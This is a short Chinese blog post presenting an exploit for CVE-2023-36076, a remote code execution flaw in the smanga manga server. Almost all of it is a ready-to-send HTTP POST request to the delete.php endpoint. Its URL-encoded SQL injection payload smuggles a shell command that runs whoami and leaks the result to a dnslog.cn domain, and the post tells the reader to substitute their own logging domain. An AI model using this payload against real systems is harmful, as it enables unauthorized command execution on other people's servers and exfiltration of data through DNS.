侧边栏壁纸
博主头像
fynn博主等级

我们应该有恒心,尤其是要有自信心,必须相信自己是有能力的,而且要不惜任何代价把这种能力发挥出来。

  • 累计撰写 51 篇文章
  • 累计创建 21 个标签
  • 累计收到 0 条评论

目 录CONTENT

文章目录

CVE-2023-36076 RCE漏洞 smanga系统

fynn
2023-09-29 / 0 评论 / 0 点赞 / 66 阅读 / 329 字 / 正在检测是否收录...

smanga系统

  • uri路径 /php/manga/delete.php

EXP

POST /php/manga/delete.php HTTP/1.1
Host: 127.0.0.1:8181
Content-Length: 360
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8181
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (iPad; CPU OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.77 Mobile/15E148 Safari/604.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1:8181/php/manga/delete.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

mangaId=1+union+select+*+from+%28select+1%29a+join+%28select+2%29b+join+%28select+3%29c+join+%28select+4%29d+join+%28select+%27%5C%22%3Bping+-c+3+%60whoami%60.uoi9vt.dnslog.cn%3B%5C%22%27%29e+join+%28select+6%29f+join+%28select+7%29g+join+%28select+8%29h+join+%28select+9%29i+join+%28select+10%29j+join+%28select+11%29k+join+%28select+12%29l%3B&deleteFile=true
  • 此处提交的数据需要url编码

Payload原数据

mangaId=1+union+select+*+from+(select+1)a+join+(select+2)b+join+(select+3)c+join+(select+4)d+join+(select+'\";ping+-c+3+`whoami`.uoi9vt.dnslog.cn;\"')e+join+(select+6)f+join+(select+7)g+join+(select+8)h+join+(select+9)i+join+(select+10)j+join+(select+11)k+join+(select+12)l;&deleteFile=true

  • 日志记录中打开一个记录域名
    image
    然后将 uoi9vt.dnslog.cn 替换成自己的
    如果有返回smanga.uoi9vt.dnslog.cn表示存在漏洞
0

评论区